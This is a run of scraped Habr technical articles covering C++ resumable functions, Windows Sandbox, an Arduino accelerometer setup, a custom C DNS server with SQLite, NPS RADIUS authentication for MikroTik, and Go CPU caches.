Как я уже писал ранее, resumable функции в некоторой степени ограничены. Они могут возвращать лишь std::(shared_)future или void. Это не лучший вариант, было бы удобно иметь возможность вернуть boost::future или hpx::future. Возможно, этого удастся достичь через применения "концептов", но пока что есть как есть. Второе ограничение - resumable функции не могут использовать VArgs, для этого придётся написать отдельную функцию-обёртку. И я пока не очень понимаю, относится ли это ограничение к variadic templates. Ну и кроме того, на значение, возвращаемое resumable функцией накладываются ограничения, которые существуют для типов, которые можно использовать в `````std::future - на практике это означает обязательное наличие copy/move конструкторов.
##### Планы на будущее
Как я писал ранее, эта фича не войдет в С++14. Она была бы просто киллер-фичей, но к сожалению (к счастью?) С++14 по определению не должен (и не будет) содержать киллер-фич на уровне языка. Его задача - исправить явные баги С++11 и заложить основу для масштабных улучшений в будущем. Так что всё, о чём мы здесь говорили - удел С++y1. Следующий большой шаг для resumable функций - стать частью технической спецификации (TS), ответственная за это подгруппа в комитете - WG21. Несмотря на то, что синтаксис и ограничения resumable функций понять достаточно легко, реализация в компиляторе простой не является. Есть несколько вариантов реализации и пока нет согласованного взгляда, какой из них является лучшим. Как я уже говорил, первая реализация войдет в CTP к Visual Studio в конце этого года (*прим.переводчика*: и она вышла!). Эта реализация будет использовать ключевые слова __async и __await.
Важно понять, что всё написанное в статье ещё находится в работе. Многое зависит от утверждения в С++14 спецификации на .then() для future, await в итоге может быть даже построен на std::future::get.
##### Мнение
Пару слов с моей колокольни. Я вообще не очень-то по всей этой асинхронности и параллелизму, есть ребята поумнее меня - им и решать. Мне нравятся resumable функции в предложенном варианте. Также неплохим является вариант, предложенный в Cilk (уже есть реализация и она работает - проверено). Сравнивая их - resumable функции всё-равно кажутся мне чуть более элегантными - кода меньше, а возможности те же.
Новые ключевые слова могут поломать существующий код (а вдруг у вас были переменные с именами __async\__await ?). Авторы предложения resumable функций проанализировали STL и Boost и не нашли ничего подобного - уже неплохо.
Немного меня смущает то, что resumable функции - неполноценные функции из-за своих ограничений (см. выше). Но, наверное, они и не должны ими быть. В конце-концов, вы ведь не собираетесь использовать их вот прямо везде? Это лишь один из удобных механизмов асинхронности, такой себе синтаксический сахар, иногда полезный, а иногда - нет.
Кроме того, есть целый зоопарк вопросов, связанный с деталями реализации resumable функций. Например - должны ли существовать resumable lambda functions ? Если вы заинтересовались вопросом - почитайте заметки группы WG21, начиная с июля 2013 года.
##### Обновление - документ N3722
В конце Августа был опубликован документ с обновлением предложения resumable функций. Первое изменение состоит в том, что ключевое слово async заменено на resumable. Это хорошо, поскольку resumable функции теперь называются "resumable", что в общем-то логично. Значение ключевого слова await не изменилось.
Также появился параграф на счет использования типов, отличных от std::future в качестве результата функции. Документ определяет, что функция может возвращать любой тип вида s, который реализует следующий интерфейс:
* метод get(), который возвращает тип Т или генерирует исключение
* метод then(), который получает callable object с параметром типа s, s& или const s. Значение этого параметра должно быть сразу же доступно методу get().
опциональный метод is\_ready(), возвращающий состояние future
Далее авторы рассуждают о том, что должен быть определён тип `````
s::promise_type, который будет доступен реализации resumable функции. Этот тип должен предоставлять методы set_value(T) и set_exception(exception_ptr). Должно существовать неявное преобразование между s::promise_type и s.
##### Генераторы
Документ также включает в себя концепт, который называется "генераторная функция" или просто "генератор". В STL имеются алгоритмы, позволяющие применить некоторую функцию на все элементы контейнера, но они возвращают результат только по применению ко всем элементам контейнера, а генератор - возвращает результат непосредственно перед применением к первому элементу. Тип возвращаемого значения - sequence и тот, кто вызвал генератор, может использовать это значения для итерирования по последовательности, которая будет создаваться по ходу итерирования (ленивые вычисления).
Для достижения этого эффекта предлагается ввести новое ключевое слово yield:
sequence range(int low, int high) resumable
{
for(int i = low; i <= high; ++i)
{
yield i;
}
}
```
yield будет вычислять значение *i* когда это понадобится при запросе к sequence. Каждая итерация по `sequence будет вызывать функцию, ожидая получить следующий результат от yield. Здесь не идёт речь о многопоточном или асинхронном программировании - всё выполняется в одном потоке, но только лишь тогда, когда понадобится. Документ предлагает комбинировать в коде yield и await для достижения нужных программисту результатов.````````` | https://habr.com/ru/post/203724/ | null | ru | null |
# Песочница в Windows
Песочница — это новый легковесный инструмент в ОС Windows, позволяющий запускать приложения в безопасном изолированном окружении.
Случалось ли Вам оказаться в ситуации, когда необходимо запустить какую-то программу, но Вы не совсем уверены в источнике её происхождения? Или другой пример — необходимость проверить что-то на «чистой» версии Windows. Во всех подобных случаях раньше был только один выход — установить ОС на отдельную физическую или виртуальную машину и провести нужный эксперимент. Но это больше не так.
Microsoft разработал новый механизм под названием **Песочница** (eng. Windows Sandbox). Это изолированное временное окружение, в котором Вы можете запускать подозрительное программное обеспечение без риска навредить своему ПК. Любое ПО, установленное в Песочнице, остаётся только в Песочнице и не может взаимодействовать с основной ОС. Как только Вы закрываете Песочницу — всё её содержимое безвозвратно уничтожается.
Вот основные особенности Песочницы:
* **Это часть ОС Windows.** Если у Вас Windows 10 Pro или Enterprise, то Вы уже можете начать ею пользоваться.
* **С чистого листа.** При каждом запуске Песочницы Вы получаете одно и то же, чистое, неизменное окружение. В точности такое, какой была Ваша ОС сразу после её установки.
* **Никаких следов.** При закрытии Песочницы уничтожаются все установленные в ней приложения, все созданные там файлы. Закрыли Песочницу — не осталось никаких следов её существования.
* **Безопасность.** Используется аппаратная виртуализация, которая использует гипервизор для запуска отдельного ядра ОС и изолирует его от Вашей основной ОС
* **Эффективность.** Используется интегрированный планировщик задач, умное управление памятью, виртуальный GPU.
### Системные требования
* Windows 10 Pro или Enterprise, билд 18305 или выше
* Архитектура AMD64
* Включенная в BIOS виртуализация
* Минимум 4 ГБ (рекомендовано 8 ГБ) оперативной памяти
* Минимум 1 ГБ свободного места на диске (рекомендуется SSD)
* Процессор с двумя ядрами (рекомендуется 4 с поддержкой hyper-threading)
Быстрый старт
-------------
**1.** Установите Windows 10 Pro или Enterprise, билд 18305 или выше
**2.** Включите виртуализацию:
* Если Вы работаете на физической машине — сделайте это в BIOS
* Если Вы работаете на виртуальной машине — используйте следующую PowerShell команду:
```
Set-VMProcessor -VMName -ExposeVirtualizationExtensions $true
```
**3.** Откройте (через Панель Управления) список установленных компонентов Windows и включите в нём Песочницу. Нажмите ОК. Если увидите запрос на перезагрузку компьютера — подтвердите его.
**4.** Запустите Песочницу из меню Пуск. Разрешите повышение прав для её процесса.
**5.** Скопируйте (через буфер обмена) в Песочницу бинарник, который хотите запустить.
**6.** Запустите бинарник в Песочнице. Если это инсталлятор — пройдите процедуру установки и запустите установленное приложение.
**7.** Используйте приложение по назначению.
**8.** Когда закончите — просто закройте Песочницу. Всё её содержимой будет удалено.
**9.** Опционально — можете убедиться, что в Вашей основной ОС ничего не изменилось.
Что под капотом у Песочницы
---------------------------
Песочница Windows построена на технологии, которая называется Windows Containers. Контейнеры разрабатывались (и давно используются) для работы в облаке. Microsoft взял уже достаточно зрелую и протестированную технологию и доработал её для пользователей десктопной Windows.
Среди ключевых адаптаций можно отметить:
### Динамически генерируемый образ
Песочница является хотя и легковесной, но всё же виртуальной машиной. И, как любой виртуальной машине, ей требуется образ, с которого она может загрузится. Важнейшей особенностью Песочницы является то, что Вам не нужно откуда-то качать или создавать этот образ. Он создастся на лету, из файлов вашей текущей ОС Windows.
Мы хотим всегда получить одно и то же «чистое» окружение для Песочницы. Но есть проблема: некоторые системные файлы могут меняться. Решением было создание «динамически генерируемого образа»: для изменённых файлов в него будут включаться их оригинальные версии, но вот неизменные файлы физически в этот образ входить не будут. Вместо них будут использоваться ссылки на реальные файлы на диске. Как показала практика — такими ссылками будут большинство файлов в образе. Лишь малая их часть (около 100 МБ) войдут в образ полностью — это и будет его размер. Более того, когда Вы не используете Песочницу, эти файлы хранятся в сжатом виде и занимают около 25 МБ. При запуске Песочницы они разворачиваются в тот самый «динамический образ» размером около 100 МБ.
### Умное управление памятью
Управление памятью для Песочницы — ещё одно важное усовершенствование. Гипервизор позволяет запускать на одной физической машине несколько виртуальных и это, в общем, неплохо работает на серверах. Но, в отличии от серверов, ресурсы обычных пользовательских машин значительно более ограничены. Для достижения приемлемого уровня производительности Microsoft разработал специальный режим работы памяти, при котором основная ОС и Песочница могут с некоторых случаях использовать одни и те же страницы памяти.
В самом деле: поскольку основная ОС и Песочница запускают один и тот же образ ОС, то большинство системных файлах в них будут одни и те же, а значит нет смысла дважды загружать в память одинаковые библиотеки. Можно сделать это один раз в основной ОС, а когда тот же файл понадобится в памяти Песочнице — ей можно дать ссылку на ту же страницу. Конечно, требуются некоторые дополнительные меры для обеспечения безопасности подобного подхода, но Microsoft позаботилась об этом.
### Интегрированный планировщик
В случае использования обычных виртуальных машин гипервизор контролирует работу виртуальных процессоров, работающих в них. Для Песочницы была разработана новая технология, которая называется «интегрированный планировщик», которая позволяет основной ОС решать когда и сколько ресурсов выделить Песочнице. Работает это так: виртуальный процессоры Песочницы работают как потоки внутри процесса Песочницы. В итоге они имеют те же «права», что и остальные потоки в вашей основной ОС. Если, к примеру, у вас работают какие-то высокоприоритетные потоки, то Песочница не будет отнимать у них много времени для выполнения своих задач, которые имеют нормальный приоритет. Это позволит пользоваться Песочницей, не замедляя работу критически важных приложений и сохраняя достаточную отзывчивость UI основной ОС, аналогично тому, как работает [Linux KVM](https://en.wikipedia.org/wiki/Kernel-based_Virtual_Machine).
Главной задачей было сделать Песочницу с одной стороны просто обычным приложением, а с другой — дать гарантию её изоляции на уровне классических виртуальных машин.
### Использование «снимков»
Как уже говорилось выше, Песочница использует гипервизор. Мы по сути запускаем одну копию Windows внутри другой. А это означает, что для её загрузки понадобится какое-то время. Мы можем тратить его при каждом запуске Песочницы, либо сделать это лишь раз, сохранив после загрузки всё состояние виртуальной ОС (изменившиеся файлы, память, регистры процессора) на диске. После этого мы сможем запускать Песочницу из данного снимка, экономя при этом время её старта.
### Виртуализация графики
Аппаратная виртуализация графики — это ключ к плавному и быстрому пользовательскому интерфейсу, особенно для «тяжелых» в плане графики приложений. Однако, классические виртуальные машины изначально ограничены в возможностях напрямую использовать все ресурсы GPU. И здесь важную роль выполняют средства виртуализации графики, которые позволяют преодолеть данную проблему и в какой-то форме использовать аппаратную акселерацию в виртуальном окружении. Примером такой технологии может быть, например, Microsoft [RemoteFX](https://docs.microsoft.com/en-us/windows-server/remote/remote-desktop-services/rds-remotefx-vgpu).
Кроме того, Microsoft активно работала с производителями графических систем и драйверов для того, чтобы интегрировать возможности виртуализации графики непосредственно в DirectX и WDDM (модель драйверов в ОС Windows).
В результате графика в Песочнице работает следующим образом:
* Приложение в Песочнице использует графические функции обычным образом, не зная кто и как будет их выполнять
* Графическая подсистема Песочницы, получив команды отрисовки графики, передаёт их основной ОС
* Основная ОС, получив команды отрисовки графики, воспринимает их так, как будто они пришли от локально запущенного приложения и соответствующим образом выполняет их, выделяя и управляя необходимыми ресурсами.
Это процесс можно изобразить так:
Это позволяет виртуальному окружению получать полноценный доступ к аппаратно акселерируемой графике, что даёт как прирост производительности, так и экономию некоторых ресурсов (например, заряда батареи для ноутбуков) в следствие того, что для отрисовки графики больше не используются тяжелые расчёты на CPU.
### Использование батареи
Песочница имеет доступ к информации о заряде батареи и может оптимизировать свою работу для его экономии.
Отзывы и сообщения о проблемах
------------------------------
В любой новой технологии могут быть баги. Microsoft просит присылать сообщения о них и предложения новых фич через [Feedback Hub](https://aka.ms/windowssandbox-fb). | https://habr.com/ru/post/433706/ | null | ru | null |
# Ловим горизонт с Arduino
В комментариях [поста про создание трех-степенной платформы](http://habrahabr.ru/blogs/arduino/126026/) на базе аппаратной платформы Arduino поднимался вопрос управления не только с компьютера, поэтому было решено разобраться с работой акселерометра MMA7260, который можно свободно приобрести в Гонконге на [Ebay](http://ebay.com).
### Инструменты и материалы
Для реализации задуманного нам понадобятся следующие комплектующие:
| | |
| --- | --- |
| **Найменование** | **Количество** |
| Акселерометр MMA7260 | 1 шт. |
| Трех-степенная платформа | 1 шт. |
| Макетная плата | 1 шт. |
| Стяжка | 1 шт. |
| Соединительные провода | 8 шт. |
| Белый медведь | 1 шт. |
Самой необходимой деталью для нашей установки является акселерометр. На просторах сети имеется множество предложения для Arduino в части акселерометров и самый доступный — это трех-осевой акселерометр MMA7260. В продаже он уже поставляется на плате, где уже имеется стабилизатор 3,3в 800мА для питания. На выходах осей X, Y, Z распаяны фильтры в виде RC-цепочек, а также сам он имеет фильтр низких частот (что не очень заметно при первом знакомстве).
В соответствии с [документацией](http://www.alldatasheet.com/datasheet-pdf/pdf/103487/MOTOROLA/MMA7260Q.html) на устройство, имеется возможность выбора чувствительности (4 режима), а также включение и выключения режима сна. Настройка чувствительности датчика осуществляется с помощью входов G1 и G2. Максимальный уровень чувствительности 1.5g (00), минимальный 6g (11).
### Схема подключения
Подключение акселерометра к плате Arduino осуществляется по схеме, представленной ниже:
Чтобы акселерометр всегда выдавал значения его принудительно необходимо вывести из режима сна, просто подав на выход SL (Sleep) питание. Выбор режима чувствительности осуществляется с помощью перемычек J1 и J2.
Первоначально данную схему можно собрать на макетной плате, после чего можно распаять длинные проводки. Перемычки ставятся на контактную площадку 3х2, где крайние левые два контакта 3.3в, центральные G1 и G2 соответственно, а крайние правые контакты «земля».
В результате после сборки получается следующая конструкция:
Подключение трехстепенной платформы к Arduino осуществляется на три выхода с поддержкой ШИМ, а входы от датчика положения на три аналоговых входа A0...A2. Пример подключения узлов к Arduino:
### Программирование
Тестирование и проверка работоспособности акселерометра осуществляется с помощью следующей программы:
``> 1. int x, y, z;
> 2.
> 3. // Калибровка датчика
> 4. int dx=357;
> 5. int dy=385;
> 6. int dz=178;
> 7. void setup()
> 8. {
> 9. Serial.begin(9600);
> 10. }
> 11.
> 12. void loop()
> 13. {
> 14. // Значения осей с датчика
> 15. x = analogRead(A0) - dx;
> 16. y = analogRead(A1) - dy;
> 17. z = analogRead(A2) - dz;
> 18.
> 19. // Вывод в Serial monitor
> 20. Serial.print("X: ");
> 21. Serial.print(x);
> 22. Serial.print("Y:");
> 23. Serial.print(y);
> 24. Serial.print("Z:");
> 25. Serial.println(z);
> 26.
> 27. //Период опроса
> 28. delay(100);
> 29. }
> \* This source code was highlighted with Source Code Highlighter.`
### Тестирование
Перед началом работы, необходимо произвести калибровку датчика, по следующей методике:
1) Установить в прошивке контроллера значения калибровки равные нулю, записать прошивку в контроллер;
2) Зафиксировать датчик в горизонтальном положении;
3) Снять показания с датчика в течение 3 секунд;
4) Вычислить средние значения в горизонтальном положении и внести поправку в калибровочные значения.
Данные измерения необходимо делать на минимальной чувствительности или близкой к ней, чтобы исключить лишние показания при ударах стала или любые другие воздействия.
До проведения калибровки датчик выдавал следующие значения:
По графику видно, что завяленные фильтры низких частот работают довольно странно, так как шумят оси очень сильно. Для подавления шума необходимо или писать свой фильтр низких частот или нормировать шкалу измерений к меньшей (в случае с сервоприводами шум частично подавляется таким методом).
В результате полученных измерений были получены следующие поправки:
* dx = 357
* dy = 385
* dz = 178
После калибровки показания датчика стали показывать реальную картину:
В таком виде уже можно использовать показания датчика в своих проектах.
### Результат
**UPD.** Программная фильтрация сигнала осуществляется по алгоритму, [представленному в википедии](http://en.wikipedia.org/wiki/Low-pass_filter):
``> function lowpass(real[0..n] x, real dt, real RC)
>
> var real[0..n] y
>
> var real α := dt / (RC + dt)
>
> y[0] := x[0]
>
> for i from 1 to n
>
> y[i] := α \* x[i] + (1-α) \* y[i-1]
>
> return y
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
хотя второй вариант мне нравится больше:
``> for i from 1 to n
>
> y[i] := y[i-1] + α \* (x[i] - y[i-1])
>
>
>
> \* This source code was highlighted with Source Code Highlighter.```` | https://habr.com/ru/post/127165/ | null | ru | null |
# The Implementation of a Custom Domain Name Server by Using С Sockets
### Abstract
We describe the implementation of a custom Domain Name System (DNS) by using C socket programming for network communication, together with SQLite3 database for the storage of Internet Protocol (IP) for Uniform Resource Locator (URL). Then we provide a performance analysis of our implementation. Our code is available publicly [1].
### Introduction
The DNS is used to retrieve IP addresses corresponding to a given URL. IP is essential for web browsing: the user specifies a human-friendly URL address to the browser and then, before loading the corresponding web page, the URL firstly translated into IP address. To perform this action, DNS servers are used.
DNS server is a database containing URL addresses and their corresponding IP addresses. Due to the large amount of the URL, the DNS server is organized as a distributed hierarchical database. In certain cases, DNS suffer from the problem of high load that results in long delays between user requests and server response and affects user experience.
To overcome the problem of high load, custom DNS servers are introduced. The custom DNS server is used to store the most frequently visited user web pages. That mechanism provides high-speed performance.
In Figure 1 we illustrate the interaction of a custom DNS server with an existent global DNS system. In the presence of a custom DNS server, the request of the user web browser first goes to a custom DNS server. If the custom DNS server already has the IP of the requested web page then it just returns it and the browser loads the web page. Observe, in that case, the custom DNS server does not contact other servers, thereby reducing the execution time of performing the user request. If custom DNS does not have the IP of the requested web page, it contacts the local DNS server.
Figure 1. The high-level view of the DNS server working principal.The paper is organized as follows: first, in section 2 we describe the key implementation aspects of a custom DNS server with section 2.1 covering the stack of technologies we use, section 2.2 covering the programming aspects of C sockets. Then in section 3, we provide the performance analysis of our implementation. Next in section 4, we make program testing. In section 5 we outline the limitations of the project. Finally, in section 6 we conclude the work that has been done.
### Implementation of a Custom DNS Server
We below explain the key implementation aspects of the DNS server.
#### Used Technologies and Network Configuration
The list of technologies used in our implementation is listed in Table 1.
| | |
| --- | --- |
| Technology | Description |
| SQLite3 | Database, that stores corresponding IP and domain name addresses. |
| C sockets | Standard C library, used for network communication. |
| UDP | Transport protocol, used for sending DNS queries. |
| Dig (Domain Information Groper) | Command-line tool for querying DNS servers. |
Table 1. List of technologists, used in our application
#### Custom DNS Implementation
The core of a DNS server is a database that stores pairs of IPs and URL addresses, described in Figure 2.
Figure 2. SQLite 3 database system used in the project.We organized the internal structure in the database in 5 columns: domain\_name column stores the domain name of the server, which IP address should be resolved;
ip1, ip2, ip3, ip4 - first, second, third, fourth 4-bit fields of IPv4 address, associated with the domain name.
For the security issues, we limit the size of the database to 1 GB for avoiding extensive enlarging the database.
Our custom DNS server can be accessed via the following IP and port numbers.
| | |
| --- | --- |
| Access information (IP and port) | Description |
| Port | 9000 |
| IP address | The IP address of the host that runs custom DNS (127.0.0.1 in case of running server locally). |
Table 2. Access information for connecting to custom DNS.
When the client requests the IP, the custom server first checks if the requested mapping of hostname to IP is located in the SQLite 3 database. In case IP is stored in a database, the server retrieves it and responds to the user. In case if IP is not present in the database, the custom server makes a request to the local DNS server. We provide the illustration in Figure 3.
When the custom server fails to retrieve an IP from the custom DNS database, it makes a call to the local DNS server. After searching IP in its database, the local server returns it to the custom server, which saves information to the SQLite 3 database and only then returns it to the user.
Figure 3. Principle of working of our Custom DNS serverThe list of functions used in our implementation is listed in Table 3.
| | | |
| --- | --- | --- |
| Function name | Function argument | Description |
| 1. `dig` | IP address (e.x. `@127.0.0.1`) and port (e.x. `-p 9000`) to connect to a custom DNS server. | The command-line tool, used for DNS server communication. |
| 2. `int get_A_record_from_sqlite` | `u_int8_t addr[4]` - pointer to a resolved IP address; `const char domain_name[]` - domain name (or URL), received from the user. | The function that is used for searching IP addresses in database SQLite3.Returns 0 in case of success, 1 in case of failure: loss of database connection, etc. |
| 3. `int local` | `char *argv[]` - pointer to the domain name, that is sent to the local DNS server. | The function that is used for sending DNS queries to local DNS.Returns 0 in the case of success, 1 in case of failure. |
| 4. `sqlite3::insert` | | The function that is used for putting IP addresses into a database. Implementation of the function consists of API SQLite3: `sqlite3_prepare_v2` and `sqlite3_step`, used for parameter substitution. |
Table 3. List of functions, used in our application
### Performance analysis
We next provide a static analysis of the custom DNS application. We measure the processing time of the DNS requests using `time` command from the standard C-library`time.h` .
We evaluate performance in the following cases:
1. If IP presents in the storage of custom DNS - it immediately sends the requested IP address to the client;
2. If IP not present in the custom server database - it should be retrieved from the local server and then sent to the client;
3. Otherwise, in case of an invalid IP address, the user should receive an empty DNS packet.
We measured the execution time on the 3 cases and reported the results in Figure 4.
Figure 4. Measuring response time of various use cases.We observe that a custom DNS server, having an IP address in the database, provides a huge performance gain, compared to the case when the IP is retrieved from a local DNS server (8 msec. compared to 200 msec.) and in the case of invalid IP address - 20 msec.
### User Interface and Usage
We next describe detailed instructions on running a custom DNS server and provide an example of its usage.
The commands provided are suitable for Linux based operating systems only. Also, It is important to have a C compiler to run the application. Launching a DNS server should be done by command:
`$ gcc -o main -lsqlite3 main.c && ./main`.
Accessing to the DNS server via terminal can be done by a command: dig @ -p A.
After compiling a custom DNS server and asking it IP address of URL [www.habr.com](http://www.habr.com) (by command dig @127.0.0.1 -p 9000 www.habr.com A), a user could see logs, created by the server, in Figure 5; and client logs - in Figure 6.
Figure 5. Logs from the DNS server, obtained from resolving domain name ([www.habr.com](http://www.habr.com)) to IP address (178.248.237.68).
Figure 6. DNS packet, received from the server by client, containing resolved IP address (178.248.237.68) of ([www.habr.com](http://www.habr.com)) domain name.
### Limitations of the Project
We next describe the limitations of the project.
For the simplicity of the project, we limit the functionality of the server. Firstly, the server is not constantly accessible to clients - it could process only one query at a time and then exits the program. Secondly, the server does not support concurrent fulfilling queries, so multiple users can not access it. Thirdly, the server only supports A type of queries. Moreover, the server can run only on Linux-based systems due to special libraries which are working only on that family of the operating system.
### Conclusion
We proposed the implementation of a DNS server that handles request IP and domain name conversion among clients. We discovered a decrease of latency of DNS resolving using a built-in SQLite 3 database that caches recently retrieved IP addresses. During the project, we deeply studied the main principles of the DNS resolution process, C socket programming API and best practices of working with database systems. However, more knowledge is needed to optimize our application.
### Reference list:
1. <https://github.com/homomorfism/dns_server>
**Authors:** *Dariya Vakhitova, Arslanov Shamil (@homomorfism)*
*Innopolis University, 2021* | https://habr.com/ru/post/559884/ | null | en | null |
# Авторизация через Network Policy Server (NPS) для MikroTik
Как быстро и просто настроить авторизацию через RADIUS от Microsoft? Думаю, это поможет тем, кто захочет иметь возможность заходить на устройства MikroTik через дружелюбный WinBox и простой SSH.
#### План:
[Установка роли NPS;](#1)
[Добавление RADIUS клиента;](#2)
[Создание политики подключения;](#3)
[Создание политики сети;](#4)
[Добавление сервера авторизации на MikroTik;](#5)
[Проверка через SSH и WinBox.](#6)
#### Установка роли NPS
Имеем Windows Server 2016 Datacenter с уже установленным доменом.
Выбираем сервер, на котором будет разворачиваться роль. Microsoft не рекомендует делать это на контроллере домена, но в некоторых best practices для уменьшения задержек дают совет ставить именно на него. Добавляем роль Network Policy and Access Server вместе с management tools для настройки.
```
Install-WindowsFeature NPAS -IncludeManagementTools
```
Запускаем любым удобным способом админку NPS. Например, через менеджер серверов.
Регистрируем сервер NPS в AD.
```
netsh ras add registeredserver
```
#### Добавление RADIUS клиента
Для того, чтобы сервер знал с какими устройствами налаживать общение нужно добавить их в RADIUS Clients.
Для примера, добавляю свой MikroTik wAP. Friendly name установил как Identity на устройстве и IP заданный на его единственном проводном интерфейсе. Для того, чтобы устройство смогло авторизоваться на сервере нужно ввести ключ. Он создается на сервере либо вручную, либо генерируется автоматически. Я предпочел второй вариант.
```
New-NpsRadiusClient –Address "10.1.1.21" –Name "router01" –SharedSecret "egEcM4myJCptphGlZ1UymS#qLh^urp@fJ1hF8dE6dwb27NI^oIJtTWKKp^MEsU6p"
```
Vendor name остановим на стандартном RADIUS.
Устройство добавлено.
#### Создание политики подключения
Подбираем подходящее название для политики.
Определяем наше устройство с которым будет работать сервер.
Я выбрал только Client Friendly Name со значением Router01. Это четко привязывает данный пункт политики к устройству через созданного клиента. Можно идентифицировать устройство Mikrotik по Identity выбрав NAS Identifier.
Без предварительной конфигурации устройства Identity = MikroTik.
Дальнейшая настройка политики.
На этапе выбора протокола аутентификации достаточно выбрать нешифрованный (о чем получите предупреждение) PAP для SSH или шифрованный CHAP для WinBox. Я выбрал оба. Если есть необходимость использовать web версию, то достаточно включить MS-CHAPv2, в остальном всё аналогично.
Собственно, предупреждение о выборе небезопасного способа. Предлагают почитать пошаговый справочный материал.
На данном этапе я не стал ничего трогать.
Итоговые установки политики.
У меня не получилось воспроизвести это через PowerShell, даже стандартный example с [technet](https://technet.microsoft.com/en-us/library/cc732464(v=ws.10).aspx#BKMK_1)'а. Буду признателен, если подскажете почему.
```
netsh nps add crp name = "Request Policy Router01" state = "ENABLE" processingorder = "1" policysource = "0" conditionid ="0x1020" conditiondata = "router01" profileid = "0x1025" profiledata = "0x1" profileid = "0x1009" profiledata = "0x1" "0x2" profileid = "0x1fb0" profiledata = "TRUE"
```
Выбираем нужный приоритет двигая выше или ниже пункт политики.
#### Создание политики сети
Назовем её Routers.
Как и прежде, нужно определить условия.
В AD у меня создан дополнительный пользователь состоящий в группе Domain Admins. Выбираю условие Windows Group исходя из того, чтобы все администраторы домена смогли получать доступ к MikroTik.
Разрешительное или запретительное правило. Мы будем разрешать всем, кто попал под условие.
Способ аутенификации выбираем аналогичный прошлой политике.
Исходя из необходимости можно настроить дополнительные настройки. Я оставил без изменений.
Далее необходимо выбрать что будет отправляться на сервер.
Итоговые настройки политики сети.
Выбираем необходимый приоритет среди других политик, если необходимо.
Чтобы учетная запись проверялась через NPS в AD у этого пользователя на вкладке Dial-in в разделе Network Access Permission должен быть отмечен пункт Control access through NPS Network Policy.
Для возможности авторизовываться через WinBox нужно включить обратимое шифрование в профиле пользователя.
#### Добавление сервера авторизации на MikroTik
Первым делом присвоим System/Identity равным router01 и IP с маской для интерфейса.
```
/system identity set name=router01
/ip address add address=10.1.1.21/24 interface=ether1 network=10.1.1.0
```
В System/Users и на вкладке Users включаем пункт Use RADIUS. По умолчанию выбран доступ только для чтения.
```
/user aaa set use-radius=yes
```
Открываем настройки Radius и добавляем новый сервер. Сервис выбирается исходя из назначения. Лучше, конечно же, делить доступ между ними. Address — адрес сервера на котором установлен NPS.
Secret — ключ, который был сгенерирован на стадии добавления клиента на сервере.
```
/radius add address=10.1.1.1 secret=egEcM4myJCptphGlZ1UymS#qLh^urp@fJ1hF8dE6dwb27NI^oIJtTWKKp^MEsU6p service=login
```
#### Проверка через SSH и WinBox
Проверка подключения через SSH и экспорт конфигурации.
И проверяем авторизацию в Winbox.
Как видим, в активных пользователях висят системный admin и оба подключения доменного юзера с доступом для чтения через SSH и Winbox.
Всё работает.
Спасибо за внимание. | https://habr.com/ru/post/343174/ | null | ru | null |
# Go и кэши CPU
*Источник:* [*unsplash.com*](http://unsplash.com/)
По словам Джеки Стюарта, трехкратного чемпиона мира по гонкам Формулы-1, понимание автомобиля помогло ему стать лучшим пилотом: «Гонщику не обязательно быть инженером, но нужен **интерес к механике**».
Мартин Томпсон (создатель [LMAX Disruptor](https://github.com/LMAX-Exchange/disruptor)) применил эту концепцию к программированию. Если в двух словах, то понимание базового оборудования улучшит ваши навыки, когда речь заходит о разработке алгоритмов, структур данных и так далее.
Команда [Mail.ru Cloud Solutions](https://mcs.mail.ru/) [перевела статью](https://medium.com/@teivah/go-and-cpu-caches-af5d32cc5592), автор которой углубился в устройство процессора и рассмотрел, как понимание некоторых концепций CPU помогает принимать оптимальные решения.
Основы
------
Современные процессоры основаны на концепции симметричной многопроцессорности (SMP). Процессор сконструирован таким образом, что два или более ядра разделяют общую память (также называемую основной или оперативной памятью).
Кроме того, для ускорения доступа к памяти в процессоре несколько уровней кэша: L1, L2 и L3. Точная архитектура зависит от производителя, модели CPU и других факторов. Тем не менее чаще всего кэши L1 и L2 работают локально для каждого ядра, а L3 общий для всех ядер.
*Архитектура SMP*
Чем ближе кэш к ядру процессора, тем меньше задержка доступа и размер кэша:
| | | | |
| --- | --- | --- | --- |
| **Кэш** | **Задержка** | **Циклы CPU** | **Размер** |
| L1 | ~1,2 нс | ~4 | Между 32 и 512 КБ |
| L2 | ~3 нс | ~10 | Между 128 КБ и 24 МБ |
| L3 | ~12 нс | ~40 | Между 2 и 32 МБ |
Опять же, точные цифры зависят от модели процессора. Для приблизительной оценки: если доступ к основной памяти занимает 60 нс, доступ к L1 примерно в 50 раз быстрее.
В мире процессоров существует важное понятие **локальности ссылок**. Когда процессор обращается к определенной ячейке памяти, очень вероятно, что:
1. Он обратится к той же ячейке памяти в ближайшем будущем — это принцип **локальности по времени**.
2. Он обратится к ячейкам памяти, расположенным поблизости, — это принцип **локальности по расстоянию**.
Локальность по времени — одна из причин существования кэшей CPU. Но как использовать локальность по расстоянию? Решение — вместо копирования в кэши CPU одной ячейки памяти туда копируется строка кэша. Строка кэша — это **непрерывный** сегмент памяти.
Размер строки кэша зависит от уровня кэша (и опять же от модели процессора). Например, вот размер строки кэша L1 на моей машине:
```
$ sysctl -a | grep cacheline
hw.cachelinesize: 64
```
Вместо того, чтобы копировать в кэш L1 единственную переменную, процессор копирует туда непрерывный сегмент в 64 байта. Например, вместо копирования единственного элемента int64 среза Go, он cкопирует этот элемент плюс еще семь элементов int64.
Конкретное применение строк кэша в Go
-------------------------------------
Рассмотрим конкретный пример, который покажет преимущества процессорных кэшей. В следующем коде мы складываем две квадратные матрицы из элементов int64:
```
func BenchmarkMatrixCombination(b *testing.B) {
matrixA := createMatrix(matrixLength)
matrixB := createMatrix(matrixLength)
for n := 0; n < b.N; n++ {
for i := 0; i < matrixLength; i++ {
for j := 0; j < matrixLength; j++ {
matrixA[i][j] = matrixA[i][j] + matrixB[i][j]
}
}
}
}
```
Если `matrixLength` равно 64k, это приводит к следующему результату:
```
BenchmarkMatrixSimpleCombination-64000 8 130724158 ns/op
```
Теперь вместо `matrixB[i][j]` мы добавим `matrixB[j][i]`:
```
func BenchmarkMatrixReversedCombination(b *testing.B) {
matrixA := createMatrix(matrixLength)
matrixB := createMatrix(matrixLength)
for n := 0; n < b.N; n++ {
for i := 0; i < matrixLength; i++ {
for j := 0; j < matrixLength; j++ {
matrixA[i][j] = matrixA[i][j] + matrixB[j][i]
}
}
}
}
```
Повлияет ли это на результаты?
```
BenchmarkMatrixCombination-64000 8 130724158 ns/op
BenchmarkMatrixReversedCombination-64000 2 573121540 ns/op
```
